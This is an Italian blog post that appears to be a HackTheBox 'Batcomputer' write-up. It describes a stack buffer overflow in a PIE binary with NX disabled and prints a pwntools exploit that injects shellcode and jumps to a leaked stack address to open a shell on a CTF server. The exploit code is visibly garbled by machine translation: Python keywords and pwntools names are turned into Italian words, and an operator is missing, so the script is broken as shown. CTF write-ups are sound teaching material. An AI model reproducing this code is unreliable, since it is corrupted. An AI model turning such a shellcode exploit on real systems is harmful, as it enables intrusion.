Abbiamo trattato un binario che ha solo PIE o Position Independent Executable abilitato come protezione mentre NX era disabilitato. Abbiamo analizzato il binario con Ghidra e GDB. Abbiamo scoperto che il file binario perde l'indirizzo di memoria della variabile utilizzata per memorizzare l'input dell'utente. Sulla base di ciò, abbiamo anche scoperto che il file binario legge fino a 137 byte di input dell'utente e lo memorizza in una variabile la cui dimensione del buffer è di 76 byte, che è la vulnerabilità principale di questa app. Abbiamo causato un errore di segmentazione in base a ciò e abbiamo riscontrato che l'offset era di 84 byte. Sulla base dell'analisi di cui sopra, abbiamo creato lo script di sfruttamento contenente il parametro di connessione e il payload finale. Questo faceva parte HackTheBox Batcomputer | Introduzione allo sfruttamento binario

Note sulle tecniche di buffer overflow

Il codice dell'exploit è riportato di seguito

##Binzio

da pwn importare *

contesto.binario = ELFO('./batcomputer')

con = a distanza(‘157.245.39.76’,31662)

con.sendline(‘1’)

con.recvuntil('0x')

stack_base = int((“0x”+con.recv().decodificare('latino-1').diviso()[0]),16)

tronco d'albero.successo(F'base dello stack: {esadecimale(stack_base)})

con.sendline(‘2’)

con.sendline('b4tp@$$w0rd!')

carico utile = asm(shellcraft.popad() + shellcraft.sh()) Codice shell #

carico utile += B'UN'*(84 len(carico utile)) # no

carico utile += p64(stack_base) Base impilabile #

con.sendline(carico utile)

con.sendline(‘3’)

con.interattivo()

##Fine

Videoprocedura dettagliata

Circa l'autore

Creo note sulla sicurezza informatica, note di marketing digitale e corsi online. Fornisco anche consulenza di marketing digitale, inclusi ma non limitati a SEO, annunci Google e Meta e amministrazione CRM.

Visualizza articoli